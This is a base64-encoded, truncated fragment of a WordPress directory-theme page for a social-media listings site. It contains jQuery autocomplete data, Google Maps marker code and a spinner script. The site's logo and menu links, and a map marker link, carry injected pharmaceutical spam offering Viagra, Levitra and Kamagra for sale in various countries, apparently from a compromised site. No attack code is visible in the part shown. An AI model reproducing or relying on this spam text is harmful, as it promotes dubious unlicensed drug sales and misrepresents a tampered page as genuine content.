AgJ2FydGljbGUgYXNpZGUgZm9vdGVyIGhlYWRlciBuYXYgc2VjdGlvbiB0aW1lJy5yZXBsYWNlKC9cdysvZyxmdW5jdGlvbihuKXsgZG9jdW1lbnQuY3JlYXRlRWxlbWVudChuKSB9KQoJCTwvc2NyaXB0PgoKCQk8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CgkJalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigkKSB7CgoJCQl2YXIgY2F0ZWdvcmllcyA9IFsgeyB2YWx1ZTogIjExNSIgLCBsYWJlbDogIlNvY2lhbCBNZWRpYXJzIiB9LHsgdmFsdWU6ICIxMTciICwgbGFiZWw6ICJTb2NpYWwgTWVkaWFycyBGb3IgQ2hhcml0eSIgfSx7IHZhbHVlOiAiMTE2IiAsIGxhYmVsOiAiU29jaWFsIE1lZGlhcnMgV2FudGVkIiB9IF07CgoJCQl2YXIgbG9jYXRpb25zID0gWyB7IHZhbHVlOiAiMTEzIiAsIGxhYmVsOiAiQ2FsaWZvcm5pYSIgfSx7IHZhbHVlOiAiNzgiICwgbGFiZWw6ICItJm5ic3A7TG9zIEFuZ2VsZXMiIH0seyB2YWx1ZTogIjEwOSIgLCBsYWJlbDogIkNvbG9yYWRvIiB9LHsgdmFsdWU6ICI5NyIgLCBsYWJlbDogIi0mbmJzcDtEZW52ZXIiIH0seyB2YWx1ZTogIjEwMyIgLCBsYWJlbDogIkNvbm5lY3RpY3V0IiB9LHsgdmFsdWU6ICIxMDQiICwgbGFiZWw6ICItJm5ic3A7SGFydGZvcmQiIH0seyB2YWx1ZTogIjEwNiIgLCBsYWJlbDogIklsbGlub2lzIiB9LHsgdmFsdWU6ICI3OSIgLCBsYWJlbDogIi0mbmJzcDtDaGljYWdvIiB9LHsgdmFsdWU6ICIxMDUiICwgbGFiZWw6ICJNYXNzYWNodXNldHRzIiB9LHsgdmFsdWU6ICIxMDAiICwgbGFiZWw6ICItJm5ic3A7Qm9zdG9uIiB9LHsgdmFsdWU6ICIxMTAiICwgbGFiZWw6ICJNaWNoaWdhbiIgfSx7IHZhbHVlOiAiOTQiICwgbGFiZWw6ICItJm5ic3A7RGV0cm9pdCIgfSx7IHZhbHVlOiAiMTEyIiAsIGxhYmVsOiAiTmV2YWRhIiB9LHsgdmFsdWU6ICIxMDIiICwgbGFiZWw6ICItJm5ic3A7TGFzIFZlZ2FzIiB9LHsgdmFsdWU6ICIxMDciICwgbGFiZWw6ICJOZXcgWW9yayIgfSx7IHZhbHVlOiAiNDYiICwgbGFiZWw6ICItJm5ic3A7TmV3IFlvcmsgQ2l0eSIgfSx7IHZhbHVlOiAiMTE4IiAsIGxhYmVsOiAiTmV3IFlvcmsgQ2l0eSIgfSx7IHZhbHVlOiAiMTA4IiAsIGxhYmVsOiAiVGV4YXMiIH0seyB2YWx1ZTogIjg1IiAsIGxhYmVsOiAiLSZuYnNwO0RhbGxhcyIgfSx7IHZhbHVlOiAiMTExIiAsIGxhYmVsOiAiV2FzaGluZ3RvbiIgfSx7IHZhbHVlOiAiOTYiICwgbGFiZWw6ICItJm5ic3A7U2VhdHRsZSIgfSBdOwoKCQkJdmFyIGNhdElucHV0ID0gJCggIiNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnkiICksCgkJCQljYXRJbnB1dElEID0gJCggIiNkaXItc2VhcmNoaW5wdXQtY2F0ZWdvcnktaWQiICksCgkJCQlsb2NJbnB1dCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uIiApLAoJCQkJbG9jSW5wdXRJRCA9ICQoICIjZGlyLXNlYXJjaGlucHV0LWxvY2F0aW9uLWlkIiApOwoKCQkJY2F0SW5wdXQuYXV0b2NvbXBsZXRlKHsKCQkJCW1pbkxlbmd0aDogMCwKCQkJCXNvdXJjZTogY2F0ZWdvcmllcywKCQkJCWZvY3VzOiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQljYXRJbnB1dC52YWwoIHZhbCApOwoJCQkJCXJldHVybiBmYWxzZTsKCQkJCX0sCgkJCQlzZWxlY3Q6IGZ1bmN0aW9uKCBldmVudCwgdWkgKSB7CgkJCQkJdmFyIHZhbCA9IHVpLml0ZW0ubGFiZWwucmVwbGFjZSgvJmFtcDsvZywgIiYiKTsKCQkJCQkJdmFsID0gdmFsLnJlcGxhY2UoLyZuYnNwOy9nLCAiICIpLnJlcGxhY2UoLyYjMDM5Oy9nLCAiJyIpOwoJCQkJCWNhdElucHV0LnZhbCggdmFsICk7CgkJCQkJY2F0SW5wdXRJRC52YWwoIHVpLml0ZW0udmFsdWUgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0pLmRhdGEoICJ1aS1hdXRvY29tcGxldGUiICkuX3JlbmRlckl0ZW0gPSBmdW5jdGlvbiggdWwsIGl0ZW0gKSB7CgkJCQlyZXR1cm4gJCggIjxsaT4iICkKCQkJCQkuZGF0YSggIml0ZW0uYXV0b2NvbXBsZXRlIiwgaXRlbSApCgkJCQkJLmFwcGVuZCggIjxhPiIgKyBpdGVtLmxhYmVsICsgIjwvYT4iICkKCQkJCQkuYXBwZW5kVG8oIHVsICk7CgkJCX07CgkJCXZhciBjYXRMaXN0ID0gY2F0SW5wdXQuYXV0b2NvbXBsZXRlKCAid2lkZ2V0IiApOwoJCQljYXRMaXN0Lm5pY2VTY3JvbGwoeyBhdXRvaGlkZW1vZGU6IGZhbHNlIH0pOwoKCQkJY2F0SW5wdXQuY2xpY2soZnVuY3Rpb24oKXsKCQkJCWNhdElucHV0LnZhbCgnJyk7CgkJCQljYXRJbnB1dElELnZhbCgnMCcpOwoJCQkJY2F0SW5wdXQuYXV0b2NvbXBsZXRlKCAic2VhcmNoIiwgIiIgKTsKCQkJfSk7CgoJCQlsb2NJbnB1dC5hdXRvY29tcGxldGUoewoJCQkJbWluTGVuZ3RoOiAwLAoJCQkJc291cmNlOiBsb2NhdGlvbnMsCgkJCQlmb2N1czogZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQkJCQl2YXIgdmFsID0gdWkuaXRlbS5sYWJlbC5yZXBsYWNlKC8mYW1wOy9nLCAiJiIpOwoJCQkJCQl2YWwgPSB2YWwucmVwbGFjZSgvJm5ic3A7L2csICIgIikucmVwbGFjZSgvJiMwMzk7L2csICInIik7CgkJCQkJbG9jSW5wdXQudmFsKCB2YWwgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9LAoJCQkJc2VsZWN0OiBmdW5jdGlvbiggZXZlbnQsIHVpICkgewoJCQkJCXZhciB2YWwgPSB1aS5pdGVtLmxhYmVsLnJlcGxhY2UoLyZhbXA7L2csICImIik7CgkJCQkJCXZhbCA9IHZhbC5yZXBsYWNlKC8mbmJzcDsvZywgIiAiKS5yZXBsYWNlKC8mIzAzOTsvZywgIiciKTsKCQkJCQlsb2NJbnB1dC52YWwoIHZhbCApOwoJCQkJCWxvY0lucHV0SUQudmFsKCB1aS5pdGVtLnZhbHVlICk7CgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9KS5kYXRhKCAidWktYXV0b2NvbXBsZXRlIiApLl9yZW5kZXJJdGVtID0gZnVuY3Rpb24oIHVsLCBpdGVtICkgewoJCQkJcmV0dXJuICQoICI8bGk+IiApCgkJCQkJLmRhdGEoICJpdGVtLmF1dG9jb21wbGV0ZSIsIGl0ZW0gKQoJCQkJCS5hcHBlbmQoICI8YT4iICsgaXRlbS5sYWJlbCArICI8L2E+IiApCgkJCQkJLmFwcGVuZFRvKCB1bCApOwoJCQl9OwoJCQl2YXIgbG9jTGlzdCA9IGxvY0lucHV0LmF1dG9jb21wbGV0ZSggIndpZGdldCIgKTsKCQkJbG9jTGlzdC5uaWNlU2Nyb2xsKHsgYXV0b2hpZGVtb2RlOiBmYWxzZSB9KTsKCgkJCWxvY0lucHV0LmNsaWNrKGZ1bmN0aW9uKCl7CgkJCQlsb2NJbnB1dC52YWwoJycpOwoJCQkJbG9jSW5wdXRJRC52YWwoJzAnKTsKCQkJCWxvY0lucHV0LmF1dG9jb21wbGV0ZSggInNlYXJjaCIsICIiICk7CgkJCX0pOwoKCgoJCX0pOwoJCTwvc2NyaXB0PgoKCTwvaGVhZD4KCgk8Ym9keSBjbGFzcz0icGFnZS1pZC0yMTI0MjIiPgoKCQk8ZGl2IGlkPSJwYWdlIiBjbGFzcz0iaGZlZWQgIiA+CgoKCgo8ZGl2IGNsYXNzPSJ0b3BiYXIgY2xlYXJmaXgiPgoJCTxkaXYgaWQ9InRhZ0xpbmVIb2xkZXIiPgoJCQk8ZGl2IGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIGNsZWFyZml4Ij4KCQkJCTxwIGNsYXNzPSJsZWZ0IGluZm8iPlNvY2lhbCBNZWRpYSBJcyBPdXIgS3VuZyBGdSBBbmQgSXQgSXMgU3Ryb25nITwvcD4KCgkJCQkKCQkJPC9kaXY+CgkJPC9kaXY+CjwvZGl2PgoKPGhlYWRlciBpZD0iYnJhbmRpbmciIHJvbGU9ImJhbm5lciI+Cgk8ZGl2IGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIGNsZWFyZml4Ij4KCQk8ZGl2IGlkPSJsb2dvIiBjbGFzcz0ibGVmdCI+CgkJCQk8YSBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL2xvYy9jb2xvcmFkby8iPlNob3AgVmlhZ3JhIFNvZnQgaW4gTWFsZGl2ZXMgTWFs6TwvYT4KCQk8L2Rpdj4KCgkJPG5hdiBpZD0iYWNjZXNzIiByb2xlPSJuYXZpZ2F0aW9uIj4KCgkJCQkKPG5hdiBjbGFzcz0ibWFpbm1lbnUiPjx1bCBpZD0ibWVudS1tYWluLW1lbnUiIGNsYXNzPSJtZW51Ij48bGkgaWQ9Im1lbnUtaXRlbS04MjExIiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLWhvbWUgY3VycmVudC1tZW51LWl0ZW0gcGFnZV9pdGVtIHBhZ2UtaXRlbS03IGN1cnJlbnRfcGFnZV9pdGVtIG1lbnUtaXRlbS04MjExIj48YSBocmVmPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL2NvbnRhY3QvIj5CdXkgTGV2aXRyYSBQbHVzIGluIFNhaW50IE1hcnRpbiBNYXJpZ290PC9hPjwvbGk+CjxsaSBpZD0ibWVudS1pdGVtLTgyNDQiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0tODI0NCI+PGEgaHJlZj0iaHR0cDovL3NvY2lhbG1lZGlhcnMuY29tLz9hdXRob3I9MSI+UHVyY2hhc2UgS2FtYWdyYSBDaGV3YWJsZSBpbiBNYWx0YSBWYWxsZXR0YTwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM0IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzQiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vdGhlbWUtZmVhdHVyZXMvIj5TaG9wIEZlbWFsZSBWaWFncmEgaW4gTGlieWEgVHJpcG9saTwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjEyIiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMTIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vbG9jL2Nvbm5lY3RpY3V0LyI+R2V0IEthbWFncmEgQ2hld2FibGUgd2l0aCBWaXNhPC9hPjwvbGk+CjwvdWw+PC9uYXY+CgkJPC9uYXY+CgoJPC9kaXY+CjwvaGVhZGVyPgoJCQk8ZGl2IGlkPSJkaXJlY3RvcnktbWFpbi1iYXIiIGRhdGEtY2F0ZWdvcnk9IjAiIGRhdGEtbG9jYXRpb249IjAiIGRhdGEtc2VhcmNoPSIiIGRhdGEtZ2VvbG9jYXRpb249ImZhbHNlIj4KCQkJPC9kaXY+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CnZhciBtYXBEaXYsCgltYXAsCglpbmZvYm94OwpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKCgltYXBEaXYgPSAkKCIjZGlyZWN0b3J5LW1haW4tYmFyIik7CgljbHVzdGVyRW5hYmxlZCA9IHRydWU7CgltYXBEaXYuaGVpZ2h0KDUwMCkuZ21hcDMoewoJCW1hcDogewoJCQlvcHRpb25zOiB7CgkJCQkiZHJhZ2dhYmxlIjogdHJ1ZQoJCQkJLCJtYXBUeXBlQ29udHJvbCI6IHRydWUKCQkJCSwibWFwVHlwZUlkIjogZ29vZ2xlLm1hcHMuTWFwVHlwZUlkLlJPQURNQVAKCQkJCSwic2Nyb2xsd2hlZWwiOiBmYWxzZQoJCQkJLCJwYW5Db250cm9sIjogdHJ1ZQoJCQkJLCJyb3RhdGVDb250cm9sIjogZmFsc2UKCQkJCSwic2NhbGVDb250cm9sIjogdHJ1ZQoJCQkJLCJzdHJlZXRWaWV3Q29udHJvbCI6IHRydWUKCQkJCSwiem9vbUNvbnRyb2wiOiB0cnVlCgkJCQksY2VudGVyOiBbNDAuNjk3NDM2NzgxOTk0NjgsLTc0LjEyODgwNTk5NDk4NzQ5XQoJCQkJLHpvb206IDEwCgkJCX0KCQkJLGV2ZW50czp7CgkJCQl6b29tX2NoYW5nZWQ6IGZ1bmN0aW9uKG1hcCl7CgkJCQkJY2x1c3RlcmVyID0gbWFwRGl2LmdtYXAzKHsgZ2V0OiB7IG5hbWU6ICJjbHVzdGVyZXIiIH19KTsKCQkJCQlpZiAobWFwLmdldFpvb20oKSA+PSAxOSkgewoJCQkJCQlpZiAoY2x1c3RlckVuYWJsZWQpIHsKCQkJCQkJCWNsdXN0ZXJlci5kaXNhYmxlKCk7CgkJCQkJCQljbHVzdGVyRW5hYmxlZCA9IGZhbHNlOwoJCQkJCQl9CgkJCQkJfSBlbHNlIHsKCQkJCQkJaWYgKCFjbHVzdGVyRW5hYmxlZCkgewoJCQkJCQkJY2x1c3RlcmVyLmVuYWJsZSgpOwoJCQkJCQkJY2x1c3RlckVuYWJsZWQgPSB0cnVlOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCSxtYXJrZXI6IHsKCQkJdmFsdWVzOiBbCgkJCQkJewoJCQkJCQlsYXRMbmc6IFs0MC42OTc0MzY3ODE5OTQ2OCwtNzQuMTI4ODA1OTk0OTg3NDldLAoJCQkJCQlvcHRpb25zOiB7CgkJCQkJCQlpY29uOiAiaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS93cC1jb250ZW50L3VwbG9hZHMvMjAxNi8xMi9nLWUxNDgzMTE4MzY4NDI4LmpwZyIsCgkJCQkJCQlzaGFkb3c6ICJodHRwOi8vZGVtbzEwMC5nb2xkd2ViLmJpei93cC1jb250ZW50L3RoZW1lcy9kaXJlY3RvcnkvZGVzaWduL2ltZy9tYXAtaWNvbi9pY29uLXNoYWRvdy5wbmciLAoJCQkJCQl9LAoJCQkJCQlkYXRhOiAJJzxkaXYgY2xhc3M9Im1hcmtlci1ob2xkZXIiPicrCgkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJtYXJrZXItY29udGVudCB3aXRoLWltYWdlIj48aW1nIHNyYz0iaHR0cDovL2RlbW8xMDAuZ29sZHdlYi5iaXovd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvZGVmYXVsdC1wb3N0LWltYWdlLmpwZyIgYWx0PSIiPicrCgkJCQkJCQkJCQknPGRpdiBjbGFzcz0ibWFwLWl0ZW0taW5mbyI+JysKCQkJCQkJCQkJCQknPGRpdiBjbGFzcz0idGl0bGUiPicrImcgbW9uZXkiKyc8L2Rpdj4nKwoJCQkJCQkJCQkJCSc8ZGl2IGNsYXNzPSJhZGRyZXNzIj4nKyJuZXcgWW9yayBjaXR5IisnPC9kaXY+JysKCQkJCQkJCQkJCQknPGEgaHJlZj0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbS9jYXQvc29jaWFsLW1lZGlhcnMtZm9yLWNoYXJpdHkvIj5PcmRlciBGZW1hbGUgVmlhZ3JhIGluIEN1YmEgSGF2YW5hPC9hPicrCgkJCQkJCQkJCQkJJzwvZGl2PjxkaXYgY2xhc3M9ImFycm93Ij48L2Rpdj4nKwoJCQkJCQkJCQkJJzwvZGl2PicrCgkJCQkJCQkJCSc8L2Rpdj4nKwoJCQkJCQkJCSc8L2Rpdj4nCgkJCQkJfQoJCQldLAoJCQlvcHRpb25zOnsKCQkJCWRyYWdnYWJsZTogZmFsc2UKCQkJfSwKCQkJY2x1c3Rlcjp7CgkJCQlyYWRpdXM6IDIwLAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDAgbWFya2VycwoJCQkJMDogewoJCQkJCWNvbnRlbnQ6ICI8ZGl2IGNsYXNzPSdjbHVzdGVyIGNsdXN0ZXItMSc+Q0xVU1RFUl9DT1VOVDwvZGl2PiIsCgkJCQkJd2lkdGg6IDkwLAoJCQkJCWhlaWdodDogODAKCQkJCX0sCgkJCQkvLyBUaGlzIHN0eWxlIHdpbGwgYmUgdXNlZCBmb3IgY2x1c3RlcnMgd2l0aCBtb3JlIHRoYW4gMjAgbWFya2VycwoJCQkJMjA6IHsKCQkJCQljb250ZW50OiAiPGRpdiBjbGFzcz0nY2x1c3RlciBjbHVzdGVyLTInPkNMVVNURVJfQ09VTlQ8L2Rpdj4iLAoJCQkJCXdpZHRoOiA5MCwKCQkJCQloZWlnaHQ6IDgwCgkJCQl9LAoJCQkJLy8gVGhpcyBzdHlsZSB3aWxsIGJlIHVzZWQgZm9yIGNsdXN0ZXJzIHdpdGggbW9yZSB0aGFuIDUwIG1hcmtlcnMKCQkJCTUwOiB7CgkJCQkJY29udGVudDogIjxkaXYgY2xhc3M9J2NsdXN0ZXIgY2x1c3Rlci0zJz5DTFVTVEVSX0NPVU5UPC9kaXY+IiwKCQkJCQl3aWR0aDogOTAsCgkJCQkJaGVpZ2h0OiA4MAoJCQkJfSwKCQkJCWV2ZW50czogewoJCQkJCWNsaWNrOiBmdW5jdGlvbihjbHVzdGVyKSB7CgkJCQkJCW1hcC5wYW5UbyhjbHVzdGVyLm1haW4uZ2V0UG9zaXRpb24oKSk7CgkJCQkJCW1hcC5zZXRab29tKG1hcC5nZXRab29tKCkgKyAyKTsKCQkJCQl9CgkJCQl9CgkJCX0sCgkJCWV2ZW50czogewoJCQkJY2xpY2s6IGZ1bmN0aW9uKG1hcmtlciwgZXZlbnQsIGNvbnRleHQpewoJCQkJCXZhciBtYXAgPSBqUXVlcnkodGhpcykuZ21hcDMoImdldCIpOwoJCQkJCWpRdWVyeSgiI2RpcmVjdG9yeS1tYWluLWJhciIpLmZpbmQoJy5pbmZvQm94JykucmVtb3ZlKCk7CgkJCQkJaWYoY29udGV4dC5kYXRhICE9ICJkaXNhYmxlZCIpewoKCQkJCQkJdmFyIGluZm9Cb3hPcHRpb25zID0gewoJCQkJCQkJY29udGVudDogY29udGV4dC5kYXRhLAoJCQkJCQkJZGlzYWJsZUF1dG9QYW46IGZhbHNlLAoJCQkJCQkJbWF4V2lkdGg6IDE1MCwKCQkJCQkJCXBpeGVsT2Zmc2V0OiBuZXcgZ29vZ2xlLm1hcHMuU2l6ZSgtNTAsIC02NSksCgkJCQkJCQlib3hTdHlsZTogewoJCQkJCQkJCXdpZHRoOiAiMjkwcHgiCgkJCQkJCQl9LAoJCQkJCQkJY2xvc2VCb3hNYXJnaW46ICI0cHgiLAoJCQkJCQkJY2xvc2VCb3hVUkw6ICJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWNvbnRlbnQvdGhlbWVzL2RpcmVjdG9yeS9kZXNpZ24vaW1nL21hcC1pY29uL3BvcF91cC1jbG9zZS5wbmciLAoJCQkJCQkJLy8gZW5hYmxlRXZlbnRQcm9wYWdhdGlvbjogdHJ1ZSwKCQkJCQkJCWluZm9Cb3hDbGVhcmFuY2U6IG5ldyBnb29nbGUubWFwcy5TaXplKDEsIDEpLAoJCQkJCQkJcG9zaXRpb246IG1hcmtlci5wb3NpdGlvbgoJCQkJCQl9OwoJCQkJCQlpbmZvYm94ID0gbmV3IEluZm9Cb3goaW5mb0JveE9wdGlvbnMpOwoKCQkJCQkJaW5mb2JveC5vcGVuKG1hcCxtYXJrZXIpOwoJCQkJCX0KCQkJCQltYXAucGFuVG8obWFya2VyLmdldFBvc2l0aW9uKCkpOwoKCQkJCQkvLyBpZiBtYXAgaXMgc21hbGwKCQkJCQl2YXIgaVdpZHRoID0gMjYwOwoJCQkJCXZhciBpSGVpZ2h0ID0gMzAwOwoJCQkJCWlmKChtYXBEaXYud2lkdGgoKSAvIDIpIDwgaVdpZHRoICl7CgkJCQkJCXZhciBvZmZzZXRYID0gaVdpZHRoIC0gKG1hcERpdi53aWR0aCgpIC8gMik7CgkJCQkJCW1hcC5wYW5CeShvZmZzZXRYLDApOwoJCQkJCX0KCQkJCQlpZigobWFwRGl2LmhlaWdodCgpIC8gMikgPCBpSGVpZ2h0ICl7CgkJCQkJCXZhciBvZmZzZXRZID0gLShpSGVpZ2h0IC0gKG1hcERpdi5oZWlnaHQoKSAvIDIpKTsKCQkJCQkJbWFwLnBhbkJ5KDAsb2Zmc2V0WSk7CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQoJCSAJfSk7CgoJbWFwID0gbWFwRGl2LmdtYXAzKCJnZXQiKTsKCWluZm9ib3ggPSBuZXcgSW5mb0JveCh7CgkJcGl4ZWxPZmZzZXQ6IG5ldyBnb29nbGUubWFwcy5TaXplKC01MCwgLTY1KSwKCQljbG9zZUJveFVSTDogImh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vd3AtY29udGVudC90aGVtZXMvZGlyZWN0b3J5L2Rlc2lnbi9pbWcvbWFwLWljb24vcG9wX3VwLWNsb3NlLnBuZyIsCgkJYm94U3R5bGU6IHsKCQkJd2lkdGg6ICIyOTBweCIKCQl9LAoJCWNsb3NlQm94TWFyZ2luOiAiNHB4IiwKCQllbmFibGVFdmVudFByb3BhZ2F0aW9uOiBmYWxzZQoJfSk7CgoJaWYgKE1vZGVybml6ci50b3VjaCl7CgkJbWFwLnNldE9wdGlvbnMoeyBkcmFnZ2FibGUgOiBmYWxzZSB9KTsKCQl2YXIgZHJhZ2dhYmxlQ2xhc3MgPSAnaW5hY3RpdmUnOwoJCXZhciBkcmFnZ2FibGVUaXRsZSA9ICJBY3RpdmF0ZSBtYXAiOwoJCXZhciBkcmFnZ2FibGVCdXR0b24gPSAkKCc8ZGl2IGNsYXNzPSJkcmFnZ2FibGUtdG9nZ2xlLWJ1dHRvbiAnK2RyYWdnYWJsZUNsYXNzKyciPicrZHJhZ2dhYmxlVGl0bGUrJzwvZGl2PicpLmFwcGVuZFRvKG1hcERpdik7CgkJZHJhZ2dhYmxlQnV0dG9uLmNsaWNrKGZ1bmN0aW9uICgpIHsKCQkJaWYoJCh0aGlzKS5oYXNDbGFzcygnYWN0aXZlJykpewoJCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnYWN0aXZlJykuYWRkQ2xhc3MoJ2luYWN0aXZlJykudGV4dCgiQWN0aXZhdGUgbWFwIik7CgkJCQltYXAuc2V0T3B0aW9ucyh7IGRyYWdnYWJsZSA6IGZhbHNlIH0pOwoJCQl9IGVsc2UgewoJCQkJJCh0aGlzKS5yZW1vdmVDbGFzcygnaW5hY3RpdmUnKS5hZGRDbGFzcygnYWN0aXZlJykudGV4dCgiRGVhY3RpdmF0ZSBtYXAiKTsKCQkJCW1hcC5zZXRPcHRpb25zKHsgZHJhZ2dhYmxlIDogdHJ1ZSB9KTsKCQkJfQoJCX0pOwoJfQoKLy8gbG9hZGluZyBzcGlubmVyCnZhciBvcHRzID0gewoJbGluZXM6IDEzLCAvLyBUaGUgbnVtYmVyIG9mIGxpbmVzIHRvIGRyYXcKCWxlbmd0aDogOSwgLy8gVGhlIGxlbmd0aCBvZiBlYWNoIGxpbmUKCXdpZHRoOiA5LCAvLyBUaGUgbGluZSB0aGlja25lc3MKCXJhZGl1czogMjcsIC8vIFRoZSByYWRpdXMgb2YgdGhlIGlubmVyIGNpcmNsZQoJY29ybmVyczogMSwgLy8gQ29ybmVyIHJvdW5kbmVzcyAoMC4uMSkKCXJvdGF0ZTogMCwgLy8gVGhlIHJvdGF0aW9uIG9mZnNldAoJY29sb3I6ICcjRkZGJywgLy8gI3JnYiBvciAjcnJnZ2JiCglzcGVlZDogMS44LCAvLyBSb3VuZHMgcGVyIHNlY29uZAoJdHJhaWw6IDgxLCAvLyBBZnRlcmdsb3cgcGVyY2VudGFnZQoJc2hhZG93OiB0cnVlLCAvLyBXaGV0aGVyIHRvIHJlbmRlciBhIHNoYWRvdwoJaHdhY2NlbDogZmFsc2UsIC8vIFdoZXRoZXIgdG8gdXNlIGhhcmR3YXJlIGFjY2VsZXJhdGlvbgoJY2xhc3NOYW1lOiAnc3Bpbm5lcicsIC8vIFRoZSBDU1MgY2xhc3MgdG8gYXNzaWduIHRvIHRoZSBzcGlubmVyCgl6SW5kZXg6IDJlOSwgLy8gVGhlIHotaW5kZXggKGRlZmF1bHRzIHRvIDIwMDAwMDAwMDApCgl0b3A6ICdhdXRvJywgLy8gVG9wIHBvc2l0aW9uIHJlbGF0aXZlIHRvIHBhcmVudCBpbiBweAoJbGVmdDogJ2F1dG8nIC8vIExlZnQgcG9zaXRpb24gcmVsYXRpdmUgdG8gcGFyZW50IGluIHB4Cn07Cgp2YXIgdGFyZ2V0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2RpcmVjdG9yeS1tYWluLWJhcicpLAoJc3Bpbm5lciA9IG5ldyBTcGlubmVyKG9wdHMpLnNwaW4odGFyZ2V0KSwKCXNwaW5uZXJEaXYgPSBtYXBEaXYuZmluZCgnLnNwaW5uZXInKTsKCnZhciBzZWFyY2ggPSAkKCcjZGlyZWN0b3J5LXNlYXJjaCcpLAoJc2VhcmNoSW5wdXQgPSAkKCcjZGlyLXNlYXJjaGlucHV0LXRleHQnKSwKCXNlYXJjaFN1Ym1pdCA9ICQoJyNkaXItc2VhcmNoc3VibWl0JyksCgljYXRlZ29yeUlucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1jYXRlZ29yeScpLAoJbG9jYXRpb25JbnB1dCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtbG9jYXRpb24nKSwKCWdlb0lucHV0ID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8nKSwKCWdlb0lucHV0UmFkaXVzID0gJCgnI2Rpci1zZWFyY2hpbnB1dC1nZW8tcmFkaXVzJyksCglnZW9JbnB1dExhdCA9ICQoJyNkaXItc2VhcmNoaW5wdXQtZ2VvLWxhdCcpLAoJZ2VvSW5wdXRMbmcgPSAkKCcjZGlyLXNlYXJjaGlucHV0LWdlby1sbmcnKTsKCmZ1bmN0aW9uIHNob3dMb2FkaW5nKGRpc2FibGVTdWJtaXQpIHsKCXZhciB0b3BQb3NpdGlvbiA9IG1hcERpdi5oZWlnaHQoKSAvIDI7CglzcGlubmVyRGl2LmNzcygndG9wJyx0b3BQb3NpdGlvbisncHgnKS5mYWRlSW4oKTsKCWlmIChkaXNhYmxlU3VibWl0KSB7CgkJc2VhcmNoU3VibWl0LmF0dHIoJ2Rpc2FibGVkJywgdHJ1ZSk7Cgl9Cn0KCmZ1bmN0aW9uIGhpZGVMb2FkaW5nKCkgewoJc3Bpbm5lckRpdi5mYWRlT3V0KCk7CglzZWFyY2hTdWJtaXQuYXR0cignZGlzYWJsZWQnLCBmYWxzZSk7Cn0KCi8vIHNldCBpbnRlcmFjdGl2ZSBzZWFyY2gKaWYoc2VhcmNoLmRhdGEoJ2ludGVyYWN0aXZlJykgPT0gJ3llcycpewoJc2VhcmNoSW5wdXQudHlwZVdhdGNoKHsKCQljYWxsYmFjazogZnVuY3Rpb24oKSB7CgkJCWFqYXhHZXRNYXJrZXJzKHRydWUsZmFsc2UpOwoJCX0sCgkJd2FpdDogNTAwLAoJCWhpZ2hsaWdodDogZmFsc2UsCgkJY2FwdHVyZUxlbmd0aDogMAoJfSk7CgoJY2F0ZWdvcnlJbnB1dC5vbigiYXV0b2NvbXBsZXRlc2VsZWN0IiwgZnVuY3Rpb24oIGV2ZW50LCB1aSApIHsKCQlhamF4R2V0TWFya2Vycyh0cnVlLGZhbHNlLHVpLml0ZW0udmFsdWUsZmFsc2UpOwoJfSk7Cglsb2NhdGlvbklucHV0Lm9uKCJhdXRvY29tcGxldGVzZWxlY3QiLCBmdW5jdGlvbiggZXZlbnQsIHVp